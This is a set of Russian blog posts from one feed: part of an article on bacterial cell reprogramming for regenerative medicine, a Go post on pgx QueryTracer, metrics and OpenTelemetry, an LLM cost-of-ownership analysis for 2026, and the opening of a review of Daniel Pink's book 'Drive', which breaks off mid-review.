В середине 2010-х естественный потенциал для такого перепрограммирования эукариотических клеток был открыт у некоторых патогенов. Так, в 2015 году Хесс и Рамбуккана показали, что Mycobacterium leprae (возбудитель проказы) может in vivo изменять клетки Шванна, после чего они начинают напоминать стволовые, а также способствовать их пролиферации и миграции. Такие изменения также позволили выявить на мышиных моделях биохимические пути, перспективные с точки зрения регенерации тканей. В случае с возбудителем проказы этот процесс приводит к распространению инфекции, но принципиально способствует регенерации ткани и позволяет обойтись без пересадки донорских стволовых клеток. Совершенствуя эти возможности in vivo, Хесс в 2022 году показал, как при помощи генетически изменённых бактерий частично перепрограммировать клетки печени, запустив регенерацию печёночной ткани без фиброза и без возникновения злокачественных опухолей.

Подобная стратегия оказалась ещё более действенной при лечении болезни Паркинсона, так как позволяет перепрограммировать астроциты (подробно об этих клетках мозга и об их функции я ранее писал на Хабре в статье «Звёзды у нас в голове») в дофаминергические нейроны. Поскольку астроциты гораздо крупнее нейронов и обладают ветвистой структурой, по ним легко добраться глубоко в поражённые зоны мозга; сами эндосимбионты легко проникают в астроциты путём эндоцитоза и перепрограммируют глию в нервную ткань. Для этого эндосимбионты прицельно доставляют в зону мёртвых и деградирующих нейронов нужные факторы транскрипции, замедляющие этот процесс — например, ASCL1, LMX1A и NURR1, способствующие регенерации дофаминергических нейронов. Притом, что долгосрочные последствия такого вмешательства пока не изучены, к очевидным достоинствам данного метода можно отнести возможность обходиться без трансплантации и уменьшение иммунного ответа.

Генетически изменённые бактерии могут действовать не только в качестве эндосимбионтов (притом, что эта функция у них сохраняется), но и в качестве носителей, доставляющих белки во внеклеточный матрикс. Эти белки используются, например, как катализаторы дифференциации клеток. Бактерии-эндосимбионты могут в течение заданного времени (собственного жизненного цикла) пребывать в цитоплазме эукариотической клетки-хозяина, экспрессируя и выделяя белки, выполняющие сигнальные функции, регулирующие дозировку препаратов в клетках (например, препятствующие дальнейшему поступлению препарата после накопления нужной дозы), а также контролировать биохимические пути, используемые при перепрограммировании клеток. Такие технологии известны под общим названием «индуцированная регуляция работы генов».

Важнейшей составляющей описываемых технологий является тот инициирующий фактор, при воздействии которого эндосимбионты переходят к активным действиям, то есть, к усиленной экспрессии нужных генов. В качестве таких факторов первоначально использовались химические сигналы и повышение температуры, но такие факторы действуют только по нарастающей. После того, как нужный процесс или биохимический путь активирован, требуется время либо на понижение температуры тканей, либо на выведение препарата-триггера. Для устранения этих недостатков тестируются также эндосимбионты с вкраплениями магнитных частиц, на экспрессию генов в которых можно влиять простым включением магнитного поля или изменением полярности магнита. Такой метод, опять же, полезен при работе с нервной тканью, которая по природе своей приспособлена для передачи электромагнитных импульсов. Поскольку даже частично деградировавшая нейронная ткань представляет собой клеточную сеть, магнитный метод при работе с ней представляется наименее инвазивным, поддающимся тонкой регуляции, а также наиболее точным и безопасным.

Примеры синтеза биоматериалов с использованием генетически модифицированных клеток

Описанные выше методы поспособствовали развитию целой прикладной области, которая называется «инженерия тканей». В качестве инструмента и носителя генов в ней могут использоваться не только прокариоты, но и эукариоты. Эта область смыкается с бионикой, так как ведущиеся в ней исследования призваны расширить генетический материал клеток в целевой ткани, чтобы они не только способствовали регенерации этой ткани, но и могли производить биополимеры с заданными или известными свойствами. Хотя такие технологии и не связаны с использованием стволовых клеток, их также можно отнести к перепрограммированию генома. В среднесрочной перспективе они могут значительно снизить потребность в имплантации костной, хрящевой и даже мышечной ткани, поскольку позволят постепенно регенерировать эти ткани прямо на месте травмы из биоматериалов хозяина. Также такие технологии открывают путь к дешёвому синтезу важных и дорогостоящих биополимеров, в частности, шёлка и коллагена.

Коллаген — это тягучий белок, способствующий поддержанию целостности и структуры тканей. Он применяется как в восстановительной медицине при заживлении ран, так и в косметических процедурах. В настоящее время в этих целях используется коллаген, взятый у млекопитающих, в частности, коров и свиней, и он не исключает таких опасных побочных эффектов, как заражение патогенами от животных или развитие аутоиммунных реакций. Но таких недостатков лишён коллаген типа 0, образующийся в организме медуз; кроме того, он выигрывает у аналогов в биосовместимости с человеческими клетками и быстрее заживляет раны. Генная инженерия позволяет перепрограммировать бактерий на синтез такого коллагена.

Наконец, остановлюсь ещё на одной схожей проблеме, потенциально решаемой путём перепрограммирования человеческих клеток. Это замена синтетических имплантатов, в том числе, настолько важных, как искусственные сердечные клапаны. Исследованиями в этой области занимается компания «Xeltis», которая базируется в Эйндховене и образовалась в 2006 году в результате слияния двух стартапов — голландского и швейцарского. Компания изготавливает биосовместимый полимер, вырабатываемый генетически изменёнными клетками и функционально аналогичный веществу, используемому при протезировании сердечных клапанов и участков кровеносных сосудов. Оказавшись в организме пациента, клетки с кровотоком достигают имплантата, обволакивают его и начинают постепенно заполнять поры, образующиеся при его износе. Процесс протекает плавно и с тем же успехом применим для восстановления аналогичных тканей у пациентов, которым вообще не делали имплантацию — например, при укреплении сердечных клапанов у детей с пороками сердца. На момент подготовки этой статьи метод проходит стадию клинических испытаний.

Заключение

Даже этот краткий экскурс в инженерию тканей и раннюю историю регенеративной медицины с использованием эндосимбионтов открывает фантастические перспективы, которые и побудили меня вам о нём рассказать. Потенциально такие разработки могут привести к отказу от механического протезирования, так как позволят выращивать мышцы и кости с заданными свойствами, в том числе, рассчитанные на низкую марсианскую гравитацию, а также восстанавливать ткани без пересадки. Эти наработки представляются наиболее действенным методом борьбы с нейродегенеративными заболеваниями, в том числе, с боковым амиотрофическим склерозом, и даже могут обогатить наш организм новыми (полу)синтетическими тканями, которые позволят человеческому организму извлекать энергию из различных участков электромагнитного спектра по принципу, напоминающему фотосинтез. Приглашаю вас поговорить об этом в комментариях.

Модно не значит правильно — про pgx, метрики и OpenTelemetry

Taws — Fri, 17 Apr 2026 18:54:17 +0000

Всё началось с одного вопроса от старшего коллеги — что pgx предоставляет для сбора метрик. Казалось простым: открыл документацию, увидел QueryTracer, решил что вот оно — замена декоратору. Проверил руками и сразу споткнулся: транзакция дала три значения вместо одного. Начал копать глубже — и нашлось три разных инструмента, QueryTracer, метрики и OpenTelemetry, которые легко перепутать если не разбираться. Эта статья о разнице между драйверами, обёртками и инструментами замера производительности — и о том когда каждый из них нужен.

От одного вопроса к часам изучения вопроса

Мы пишем сервис на Go, PostgreSQL, sqlx. Observability реализовано просто — декоратор над репозиторием, Prometheus, time.Now(). Задачи делать трассировку не было — проект это MVP телеграмм бота и слабо нагруженного API, CRUDL операции не смогут нагрузить Postgres. И когда задали вопрос о pgx — стало интересно разобраться как устроена observability на уровне драйвера. Не для текущего проекта, а чтобы понимать инструменты для следующих.

Три инструмента: метрики, QueryTracer, OTel

Метрики нужны для общей статистики. Видеть как приложение работает — необходимость, а не прихоть. Будь то рост ошибок после деплоя или p99 на одном из эндпоинтов вырос с 50ms до 800ms — нужно заметить быстро. Но у метрик нет контекста — видим что p99 вырос, а почему непонятно. В этом и есть их смысл — дешёвый анализ. Одно число, один график, один алерт. Метрика говорит что и когда.

QueryTracer — интерфейс pgx через который можно перехватывать запросы на уровне драйвера. Можно замерять длительность, логировать SQL, создавать spans. Но важно понимать: при транзакции он даёт три отдельных замера — BEGIN, сам запрос, COMMIT. Это не одна метрика на метод репозитория, а три отдельных события. Что для метрик лишнее, то для трейсинга - необходимость. Поэтому QueryTracer это инструмент трейсинга, а не метрик.

OpenTelemetry — здесь ищем источник проблем. Span создаётся в хендлере и передаётся через контекст вглубь — через сервис, репозиторий, до самого запроса в БД. Каждый слой добавляет свой дочерний span. В итоге в Jaeger видите полное дерево: какой конкретно запрос тормозил и в каком контексте.
Трейсинг работает постоянно — это не инструмент который включают когда что-то сломалось. Но не каждый запрос трейсится: настраивается sampling, например 10% запросов. Если запрос попал в выборку — записывается весь трейс целиком, все дочерние spans. Это баланс между полнотой данных и стоимостью хранения.
OTel отвечает на вопрос где именно и почему.

Наш декоратор

В нашем проекте используется обычный декоратор с дженериком. Главной причиной появления декоратора были простые метрики и централизованная обработка ошибок — чтобы не повторять один и тот же код в каждом методе репозитория и следовать DRY.

func WithDBMetricsValue[T any](operation string, fn func() (T, error)) (T, error) {
  start := time.Now()
  result, err := fn()
  seconds := time.Since(start).Seconds()

  metrics.ObserveDatabaseQueryDuration(operation, seconds)
  if err != nil {
    metrics.IncDatabaseErrors(operation)
    return result, CheckDBError(operation, err)
  }

  return result, err
}

При подготовке статьи нашел ошибку. Длительность конвертировали в минуты, что неверно для таких метрик. Наглядная польза от написания статей.

// было
minutes := time.Since(start).Minutes()
// стало
seconds := time.Since(start).Seconds()

Для простого случая — один запрос на метод — декоратор точен:

func (r *BookingRepo) GetAvailableSlots(ctx context.Context, serviceID int, date time.Time) ([]time.Time, error) {
    const operation = "get_available_slots"
    var slots []time.Time

    return WithDBMetricsValue(operation, func() ([]time.Time, error) {
        err := r.db.SelectContext(ctx, &slots, getAvailableSlotsQuery, serviceID, date)
        if err != nil {
            return nil, err
        }
        return slots, nil
    })
}

Декоратор меряет ровно время запроса. Метрика точная. Когда внутри метода транзакция и бизнес логика — картина меняется:

func (r *BookingRepo) CreateBooking(ctx context.Context, b *models.Booking) (int64, error) {
    const operation = "create_booking"

    return WithDBMetricsValue(operation, func() (int64, error) {
        if err := r.validateBooking(b); err != nil { // ← входит в метрику
            return 0, err
        }

        tx, err := r.db.BeginTxx(ctx, nil) // ← и это
        if err != nil {
            return 0, err
        }
        defer func() { _ = tx.Rollback() }()

        var id int64
        err = tx.QueryRowContext(ctx, createBookingAtomicQuery,...).Scan(&id) // ← и это

        if err != nil {
            if errors.Is(err, sql.ErrNoRows) {
                return 0, models.ErrSlotOccupied
            }
            return 0, err
        }

        if err = tx.Commit(); err != nil { // ← и это
            return 0, err
        }

        return id, nil
    })
}

Метрика говорит create_booking = 45ms. Но внутри — валидация, открытие транзакции, SQL запрос, коммит. Сколько из них реальный запрос к БД — декоратор не знает.

Декоратор видит:      create_booking = 45ms
QueryTracer видел бы: BEGIN  = 0.1ms
                      INSERT = 40ms
                      COMMIT = 2ms

QueryTracer

QueryTracer — это интерфейс из pgx. Ответственность за реализацию методов на разработчике — вы сами решаете что отслеживать, что логировать, какие метрики собирать. Работает через type assertion: pgx в рантайме проверяет какие интерфейсы реализует ваша структура. Забыли реализовать BatchTracer — ошибки не будет, но Batch молча в слепой зоне.

Для каждого типа операции pgx — свой интерфейс с методами Start и End. Batch добавляет третий метод TraceBatchQuery — потому что Batch это контейнер с несколькими запросами внутри. Это пример интерфейса из официального репозитория pgx.

// BatchTracer traces SendBatch.
type BatchTracer interface {
	// TraceBatchStart is called at the beginning of SendBatch calls. The returned context is used for the
	// rest of the call and will be passed to TraceBatchQuery and TraceBatchEnd.
	TraceBatchStart(ctx context.Context, conn *Conn, data TraceBatchStartData) context.Context

	TraceBatchQuery(ctx context.Context, conn *Conn, data TraceBatchQueryData)
	TraceBatchEnd(ctx context.Context, conn *Conn, data TraceBatchEndData)
}

Пример реализации объявления кастомных методов:

type MyTracer struct{}

// QueryTracer
func (t *MyTracer) TraceQueryStart(...) context.Context {}
func (t *MyTracer) TraceQueryEnd(...) {}

// BatchTracer — та же структура
func (t *MyTracer) TraceBatchStart(...) context.Context {}
func (t *MyTracer) TraceBatchQuery(...) {}
func (t *MyTracer) TraceBatchEnd(...) {}

// Подключение
config.ConnConfig.Tracer = &MyTracer{}

Важно понимать: QueryTracer сам по себе не является трейсингом. Это точка перехвата — хук. Что вы в него вложите — метрику, span или лог — ваш выбор. Трейсинг появляется только когда внутри этих методов создаёте OTel spans и правильно передаёте ctx через все слои.

OTel требует настройки экспортера — без него spans создаются но никуда не отправляются. В проде это Jaeger или Tempo. В разработке можно использовать stdout или написать свой — как в примере кода к статье.

Выбираем стек

Выбор инструмента для трейсинга зависит от двух вещей — стека и того что хотите видеть. Если остаётесь на sqlx и не используете Batch — otelsql закроет потребности без смены стека. Если переходите на pgx и хотите полную картину — otelpgx подключается так же просто. MyTracer имеет смысл только когда нужна кастомная логика внутри трейсера — специфичные метрики или особое логирование.

	sqlx + otelsql	pgx + otelpgx	pgx + MyTracer
Подключение	одна строка	одна строка	пишете сами
Spans автоматически	✓	✓	✓ если реализовали
Верхние слои	вручную	вручную	вручную
Query	✓	✓	✓
Batch	✗	✓	✓
CopyFrom	✗	✓	✓
Кастомная логика	✗	✗	✓
Смена стека	не нужна	sqlx → pgx	sqlx → pgx

Во всех трёх случаях верхние слои — handler, service, repo — ваша ответственность. Библиотека закрывает только SQL уровень. Контекст нужно передавать через все слои — без этого spans будут корневыми и потеряют связь с запросом пользователя.

Искал замену декоратору — нашёл подтверждение что он и есть правильный выбор. Но именно такие вопросы заставляют копать глубже чем требует задача — и в итоге понимаешь не только что использовать, но и почему всё остальное работает именно так.

Compute crunch пришёл: как считать экономику LLM в 2026

Xronofag — Fri, 17 Apr 2026 18:33:25 +0000

Build, Buy или Hybrid - рассуждаем о подходах к TCO. Статья - приглашение к диалогу и обсуждению, не экспертный нарратив.

"Я говорил" или что случилось с тарифами на LLM API

Два крупнейших API-провайдера одновременно сменили риторику. Anthropic ввёл usage-based billing для агентных фреймворков — плата за токены вместо фиксированных подписок. Часть сторонних обёрток потеряла возможность работать через flat-rate тарифы. OpenAI параллельно ввёл гибкое корпоративное ценообразование для Enterprise, Business и EDU-планов — стоимость подписки теперь масштабируется с объёмом потребления, а не фиксируется на уровне seat.

Тренд последних двух лет («API дешевеет каждый квартал») не отменился, но получил важную оговорку. Цена за токен в прайсах действительно падала: за 2023–2025 годы стоимость миллиона токенов GPT-4-класса снижалась, но в 2026 году ключевой метрикой для бюджета становится не цена за токен, а стоимость решения задачи.

Несколько причин:

Reasoning-режимы съедают output. Opus 4.7, GPT-5.4 Thinking и аналоги на сложных задачах генерируют скрытую цепочку рассуждений — вы её не видите в ответе, но платите как за output-токены. Точных публичных данных о коэффициенте роста output-токенов в документации провайдеров нет — ни Anthropic, ни OpenAI не публикуют таблицу «effort level → overhead токенов». По наблюдениям разработчиков, работающих с GPT-5.4, reasoning effort поддерживает пять уровней (none, low, medium, high, xhigh), каждый следующий уровень увеличивает output. Типичная оценка индустрии от 1.5-2x на medium до 3-4x на xhigh, но это эмпирика, а не спецификация. Лучше всего измерять на своих логах.
Новые токенизаторы более прожорливые. Opus 4.7 вышел с обновлённым токенизатором, который может давать до 35% больше токенов на том же тексте. По данным официального release notes Anthropic — 1.0–1.35× в зависимости от типа контента; верхний конец диапазона чаще всего на коде, структурированных данных и не-английском тексте. При неизменном прайсе это означает рост счёта: одинаковый текст стал стоить дороже не потому что поднялась цена токена, а потому что токенов стало больше.
Более сложные задачи и более широкое применение в организациях. C ростом качества и автономности агентов моделям поручают больше задач большей сложности, что косвенно также также ведет в увеличению объемов потребления в рамках тех же подразделений и процессов.

При неизменной цене за токен эти эффекты вместе дают рост итоговой затрат, значительно превышая запланированные бюджеты. Параллельно compute crunch: спрос на GPU растёт быстрее поставок, H100 и B200 для РФ и ЦА доступны с лагом по времени поставок и существенной наценкой. Self-host начинает появляться в бюджетах средних компаний не как «оптимизация», а как hedge против ценовых шоков и supply-рисков.

Возникают вопросы как строить фреймворк принятия решений.

Три режима нагрузки

Для себя я выделил три режима(или подхода), влияющих на расчеты и планы.

Эксперименты. PoC, гипотезы, prompt engineering, A/B на качество. Здесь нужен максимум качества для поиска работающего решения. Почти всегда API (даже дорогой frontier), минимум инвестиций в инфру. Исключение — когда эксперимент изначально направлен на оценку конкретной локальной модели: например, нужно понять, справляется ли Llama 3.3 70B с вашей доменной задачей. Тогда вам действительно нужна локальная инфра — но именно для эксперимента, а не для production. Лид ML-команды, который просит GPU-кластер «попробовать идею» без внятного обоснования, что эта идея требует именно локальной модели — сомнительно.

Production workload. Предсказуемый трафик, жёсткий SLA, чувствительные данные, стабильное качество. Вот здесь имеет смысл считать: при каком объёме API перестаёт быть оптимальным. Тут open-source конкурирует с API не по потолку качества, а по полу стоимости на «достаточно хорошем» уровне.

Устойчивость. Защита от ценовых шоков (Anthropic только что показал, как быстро это случается), supply-риска (rate limits, очереди, изменения ToS), regulatory shock (регулятор требует локализации). В 2024 году это было на последнем слайде "возможные риски" в презентации, сейчас в 2026 уже часто отдельная строка в бюджете.

Пример сценарного расчета TCO (как подход)

Цель — реализовать логику расчёта и границы применимости, а не дать инженерную спецификацию под ваш случай. Реальная стоимость всегда зависит от ваших логов и микса задач с регуляторной рамкой.

Базовые допущения для кейса «100 млн токенов/мес»

Token mix: 70M input + 30M output. Скорее подойдет для RAG и аналитических задач. Для генеративных задач (маркетинг, синтез контента) сдвигайте в сторону output.
Task mix: 80% простых задач (классификация, extraction, summarization), 20% reasoning-heavy (анализ, агенты, сложная генерация с контекстом).
Эффект reasoning-режимов: на high/xhigh effort модель генерирует в существенно больше output-токенов. Точная цифра зависит от вашего промпта и типа задачи. Провайдеры не публикуют официальных таблиц. Лучше всего измерить на своих логах перед тем как закладывать в бюджет.
Инфляция токенизатора: 1.15× как усреднение для смешанного русско-английского контента, например при использовании Opus 4.7.
Накладные расходы (overhead): +15–30% на retry при 5xx, fallback на более дорогую модель, cache miss.
GPU utilization для self-host: 60% как baseline production. Ниже 40% — экономика ломается.
Амортизация железа: 36 месяцев.
Ставки команды: fully loaded, $100K/год для глобальной команды, $60K для РФ, $40K для ЦА.

Формула для API

TCO_tokens = (input × price_in + output × price_out × effective_mult)
             × 12 × tok_inflation × (1 + overhead)

где:

effective_mult = simple_share + reasoning_share × reasoning_multiplier

effective_mult — это средневзвешенный множитель output'а по всему трафику. Простые задачи идут с множителем 1.0, reasoning-задачи — с множителем 2–4. Результат: средний коэффициент, на который нужно умножить «наивный» output для получения реальной стоимости. Важно: reasoning multiplier применяется только к output-токенам, не к общей сумме.

Полный TCO сверх токенов включает FTE поддержки, compliance и ML Ops инструменты — считаем их отдельно.

Пример расчёта для Frontier API (Opus 4.7, $5/$25)

effective_mult = 0.80 × 1 + 0.20 × 2.5 = 1.30
Месячная база: 70M × $5 + 30M × $25 × 1.30 = $350 + $975 = $1,325
Годовая: × 12 = $15,900
С токенизатором 1.15: $18,285
С overhead 20%: $21,942
Плюс FTE поддержки (0.2 × $100K = $20K) и compliance (~$15K): ~$57K/год

Диапазон при более агрессивных допущениях (50% reasoning, multiplier 4×, overhead 30%): до ~$75K/год.

Используйте эту модель, как ориентир.

Пример TCO по пяти опциям развёртывания

Годовой TCO при базовом сценарии (100M токенов/мес, 80/20 mix, Global регион, типичная команда).

Статья расходов	Frontier API	Mid-tier API	Hosted OSS	Self-host 14B	Self-host 70B
Токены / инференс	$22K	$8K	$3K	—	—
GPU (амортизация)	—	—	—	$18K	$55K
FTE (люди)	$20K	$20K	$40K	$200K	$350K
ML Ops инструменты	—	—	$23K	$45K	$45K
Compliance	$15K	$15K	$20K	$45K	$45K
Итого годовой TCO	~$57K	~$43K	~$86K	~$308K	~$495K
Стоимость на 1M токенов	$48	$36	$72	$257	$413

Почему 60–75% стоимости self-host — это люди, а не железо

Это контринтуитивно, поэтому приводим пример расчета.

Возьмём Self-host 70B с vLLM (3× A100, умеренный регион):

GPU: 3 × $2,200/мес × 12 = $79,200/год
FTE: 3.5 инженера × $100K = $350,000/год
ML Ops инструменты: $45,000/год
Compliance: $45,000/год
Итого: ~$519K/год

Доля железа: $79K / $519K = 15%. Доля людей: $350K / $519K = 67%.

Почему нужно именно 3.5 FTE? Это не абстрактная цифра. Self-host LLM в production включает:

Деплой и конфигурация инференс-стека (vLLM, батчинг, квантизация): разово 2–4 недели DevOps
Eval pipeline: без систематической оценки качества вы не поймёте, когда модель деградировала. Это отдельный ML-инженер минимум на 0.5 ставки
Model updates: Llama 3.3 → Llama 4 — это не замена одной строки в конфиге. Тест на eval-наборе, ре-тюнинг промптов, A/B, откат если сломалось. Цикл 2–4 недели, каждые 3–6 месяцев
Security и compliance: аудит логов, контроль доступа, сертификация. Особенно тяжело для регулируемых вертикалей
Дежурство на инфре: GPU-ноды падают, VRAM OOM при пиках, rate-limiter в вашей же инфре

Для 14B-модели, где задачи проще, — 2.0 FTE и TCO ~$308K. Для 70B — 3.5 FTE.

В этой Хабр-статье про архитектуру ML-платформы Авито описан реальный процесс поддержки, настройки собственных LLM, и даже на этом отдельном примере понятно что, eval-пайплайн занимает существенную часть времени и стоит денег.

Вывод: прежде чем считать GPU, посчитайте людей. Self-host становится экономически выгодным только там, где FTE уже есть и не добавляются ради LLM - то есть у команд с зрелой ML-платформой, где эти люди уже занимаются другими задачами.

Врезка: Self-host как инфраструктура анонимизации — и что это меняет в расчёте

Это отдельная тема, заслуживающая отдельной статьи. Здесь — короткий контур сценария.

Есть архитектурный паттерн, который обсуждается меньше, чем заслуживает: использование небольшой локальной модели как шлюза анонимизации перед отправкой данных в frontier API.

Сценарий: у вас есть документы с ПДн клиентов или коммерческой информацией, которые нельзя отправлять наружу в исходном виде. Локальная 7–14B-модель работает как preprocessing-слой: находит и заменяет чувствительные сущности (имена, ИНН, суммы, реквизиты) на синтетические плейсхолдеры, отправляет деперсонифицированный текст в frontier API, получает ответ — и конвертирует плейсхолдеры обратно в реальные данные.

Что это меняет в расчёте:

Self-host 7–14B для анонимизации стоит существенно меньше, чем self-host для основного инференса. При 2× A100 с vLLM и 80% utilization — порядка $30–50K/год
Frontier API при этом остаётся основным «мозгом» — и его стоимость мы уже посчитали (~$57K/год для 100M токенов)
Итоговый TCO этого гибрида: ~$90–120K/год против ~$308–495K для полного self-host

Это по факту гибрид — и скорее всего, именно к такому сценарию придёт большинство компаний из регулируемых вертикалей. Сейчас тоже активно развивается класс готовых решений и конкретный микс будет сильно отличаться от организации к организации: одним хватит простого NER-шлюза на 7B, другим нужен более сложный препроцессинг с пониманием контекста на 14B, кто-то и вовсе ограничится простыми ML-классификаторами (fastText, SetFit) и библиотеками для анонимизации персональных данных (Microsoft Presidio, DataFog)

Главное, что нужно понять про этот сценарий: он не отменяет инфраструктурный оверхед self-host. Нужны полноценная ML-инфра, DevOps-поддержка, compliance и security? потому что вопрос закрытия рисков и соответствия регуляторике никуда не уходит. Но офлоад основной inference-нагрузки в frontier при этом обходится не так дорого, как мы уже посчитали.

Детальный разбор паттернов анонимизации с LLM, включая ограничения и риски обратной конвертации — тема для отдельной статьи.

Матрица решений

Бинарный «build или buy» мёртв. Решение принимается по четырём осям:

Ось 1 — Объём (токенов/мес)

<10M — почти всегда API. Self-host не окупится ни при каких параметрах без regulatory-требований
10–500M — зона решения, зависит от остальных осей
500M+ — self-host или hosted OSS начинают выигрывать по unit economics при зрелой команде

Ось 2 — Регуляторный периметр

Данные можно отправлять наружу — API
Данные чувствительны, но допустим DPA — API с enterprise-контрактом (Anthropic и OpenAI дают BAA/DPA)
Данные за периметр нельзя (ЦБ, 152-ФЗ, КИИ) — self-host или гибрид с анонимизацией

Ось 3 — Latency и SLA

P95 >2 секунд допустим — API
P95 <500 мс, 99.9% uptime — self-host даёт больше контроля
Streaming для UX без жёстких SLA — API с fallback

Ось 4 — Зрелость команды

Нет ML-команды — API
1–2 ML-инженера — Hosted OSS как промежуточный шаг
3+ ML + DevOps с GPU-опытом — self-host реалистичен

Pure API. Стартап, PoC, нерегулируемый домен, <10M токенов/мес. Оптимизируйте prompt и выбор модели.

Hosted OSS. Нужна гибкость модели, бюджет ограничен, держать железо не хочется. Together AI, Fireworks, DeepInfra (глобально), Selectel и MTS AI (в РФ). Экономика open-source без операционного бремени.

Hybrid — дефолт 2026 для средних и крупных. Frontier API для reasoning-heavy (10–20% задач) + локальная SLM или mid-tier API для рутины (80–90%). Сюда же входит паттерн анонимизации, описанный выше.

Full self-host. Регулируемые вертикали, >500M токенов/мес, зрелая команда, критичная IP-защита.

Региональный контекст: СНГ и ЦА

Регуляторика — не checkbox, а cost driver. 152-ФЗ в РФ, закон о ПДн в КР (2024), аналогичные нормы в РК и РУз — конкретное ограничение: если LLM-пайплайн обрабатывает ПДн клиентов, отправка в Anthropic или OpenAI будет просто невозможна.

GPU — дефицит, наценка и логистический оверхед. Получение высокопроизводительных GPU (H100, A100) для российских и центрально-азиатских компаний усложнено санкционным режимом. NVIDIA и большинство западных производителей чипов подпадают под экспортные ограничения; поставки идут через посредников с соответствующим логистическим и compliance-оверхедом — отсюда наценка 20–40% к глобальным ценам, нестабильность поставок.

Код и API — особый случай

Код редко является персональными данными, и многие организации готовы отправлять его во внешние API.

Практическое правило:

Рефакторинг, баг-фикс, генерация тестов → mid-tier или локальная 7–14B. Экономия 5–10× без заметной потери качества
Архитектурные решения, security review, сложная генерация с контекстом 100K+ → Frontier API с контролем объёма
Гибридный подход: черновики — локально; финальный review — через Frontier с логированием

Чек-лист перед принятием решения

Что измерить:

Текущий и прогнозный объём токенов (input + output, по задачам)
Доля задач, закрываемых mid-tier моделью vs требующих frontier
Регуляторный статус данных: можно ли отправлять наружу, при каких условиях
Доступные ML/DevOps FTE и их текущая загрузка
Целевой SLA (latency P50/P95, uptime)
Текущий API-spend и динамика за 6 месяцев
Стоимость downtime: сколько бизнес теряет за час без LLM-функциональности

Итог

Правильный вопрос не «подписка или железо», а какую часть AI-стека вы готовы контролировать — и хватит ли людей, чтобы этот контроль не стал новым источником риска.

Self-host «ради экономии на токенах» в 2026 году — плохой кейс почти для всех. Self-host ради контроля данных, latency и supply-hedge — другой разговор.

Почитать:

Дисклеймер: все цифры — directional-оценки для планирования. Перед инвестиционными решениями валидируйте на логах вашего реального трафика.

Что нас мотивирует на самом деле и почему «кнут и пряник» давно уже плохо работают. Обзор книги Дэниэля Пинка

Gim6626 — Fri, 17 Apr 2026 18:24:14 +0000

Введение

Я работаю по профессии разработчика ПО с 2009 г. и накопил достаточно примеров того, что меня мотивировало как к работе, так и к сторонней деятельности, и что, напротив, препятствовало этому. Недавно получилось глубже погрузиться в вопрос мотивации, когда на глаза попалась книга Дэниэля Пинка «Drive. The Surprising Truth About What Motivates Us» (с англ. «Драйв. Удивительная правда о том, что нас мотивирует»). Этот труд входит в список бестселлеров по версии The New York Times и подкрепляет свои выводы обширным набором ссылок на различные исследования и эксперименты. Главная идея — система мотивации людей зародилась ещё когда наши предки мало чем отличались от других животных и сводилась к «ищи еду и партнёра, избегай хищников», потом, с формированием общества и становлением человека как социального существа, она развилась до внешних факторов поощрения социально-полезных активностей и наказания социально-вредных (кратко, «пряник и кнут»), но с бурным ростом творческого интеллектуального труда эта система мотивации вышла на новый уровень, основываясь на стремлении людей к достижению сочетания автономии, мастерства и осмысленности. Именно эту триаду автор продвигает как основной механизм мотивации в современном мире. На Хабре нашёл лишь упоминание этой книги без обзора, поэтому решил поделиться своими заметками, сделанными в ходе прочтения.

Почему деньги не (всегда) главное

Начну с абстрактного сравнения. Представим два проекта. За одним стоит целая корпорация, оцениваемая на тот момент в десятки миллиардов долларов. Она нанимает менеджеров, чтобы всё шло по плану к успеху, профессионалов для непосредственной реализации, и специалистов по продажам, чтобы донести производимый продукт до аудитории и выйти на прибыль. За вторым же проектом не стоит практически никто, если не считать небольшой компании, предоставившей серверы, и группы энтузиастов без высоких должностей и званий. Объём денег, выделенных на первый проект, несравнимо выше, но это ему не помогло, он полностью провалился. Про первый вы вообще вряд ли когда-либо слышали, в отличие от второго, который стал одним из самых популярных сайтов в мире. Эти два проекта — энциклопедии, MSN Encarta от Microsoft и… как вы наверное догадались Википедия.

Вообще говоря, тезис «деньги не главное» можно услышать часто, и многим знакомы личные примеры или примеры публичных инициатив из новостей, где вложенные большие деньги не приводили к успеху. Но в рассматриваемой мной книге Дэниэль фокусируется больше на личном, а не на корпоративном уровне, и на влияние старой системы мотивации «кнута и пряника» на персональную мотивацию. Эта старая система мотивации называется Мотивация 2.0, по сравнению с существенно более животной Мотивацией 1.0. Но из личной мотивации сотрудников/участников отчасти складывается и успешность компаний/организаций.

На базе целого ряда исследований для разных сфер деятельности, возраста, географии автор выводит 7 недостатков старой системы 2.0:

может уничтожать внутреннюю мотивацию;
может уменьшать производительность;
может убивать творческий подход;
может вытеснять хорошее поведение;
может способствовать мошенничеству, поиску слишком лёгких путей и неэтичному поведению;
может вызывать зависимость;
может культивировать краткосрочное мышление.

Пункт 5 здесь, пожалуй, наиболее простой. Если от некоторых показателей зависит уровень достатка, люди склонны думать о форме, а не о содержании, и подгонять эти показатели под требуемые или вообще откровенно их фальсифицировать. Цифры красивые, все получили премии, а на деле — всё грустно. Пункт 1, однако, кажется контринтуитивным — как вознаграждение может снижать мотивацию? Но здесь автор приводит среди прочего простой эксперимент с детьми, которых разделили на три группы и дали фломастеры и бумагу для рисования. Первой группе явно сказали — за хорошее рисование вы получите награду, второй ничего не сказали и просто в конце первой половины эксперимента вознаградили, третья не ожидала и не получила ничего. Наблюдения в ходе второй половины эксперимента внезапно показали, что первая группа показала значительно меньший интерес к рисованию и провела за ним меньше времени, в то время как вторая и третья сохранили начальный уровень.

Подобные исследования проводились и со взрослыми. «Тщательное изучение эффектов вознаграждения, описанных в 128 экспериментах, приводит к выводу, что материальные вознаграждения, как правило, оказывают существенно негативное влияние на внутреннюю мотивацию», — заключили исследователи. «Когда институты — семьи, школы, предприятия и спортивные команды, например, — сосредотачиваются на краткосрочной перспективе и выбирают путь контроля над поведением людей», они наносят значительный долгосрочный ущерб, пишет автор.

Но это вовсе не значит, что материальные вознаграждения вообще не важны. Всем нужно что-то есть, во что-то одеваться, чем-то платить за жильё и т. д. Тысячелетиями Мотивация 2.0 вполне работала. Дэниэль прямо говорит: «Отправной точкой, конечно же, является обеспечение адекватности и справедливости базовых вознаграждений — заработной платы, льгот и так далее. Без здорового базового уровня мотивация любого рода затруднена, а зачастую и вовсе невозможна».

В соответствии с типами мотивации 2.0 и 3.0 автор разделяет людей на Тип X (англ. «extrinsic», внешний), восприимчивый в первую очередь к внешним стимулам, и на Тип I (англ. «intrinsic», внутренний), более склонный полагаться на внутренние.

Что же движет нами

Автономия

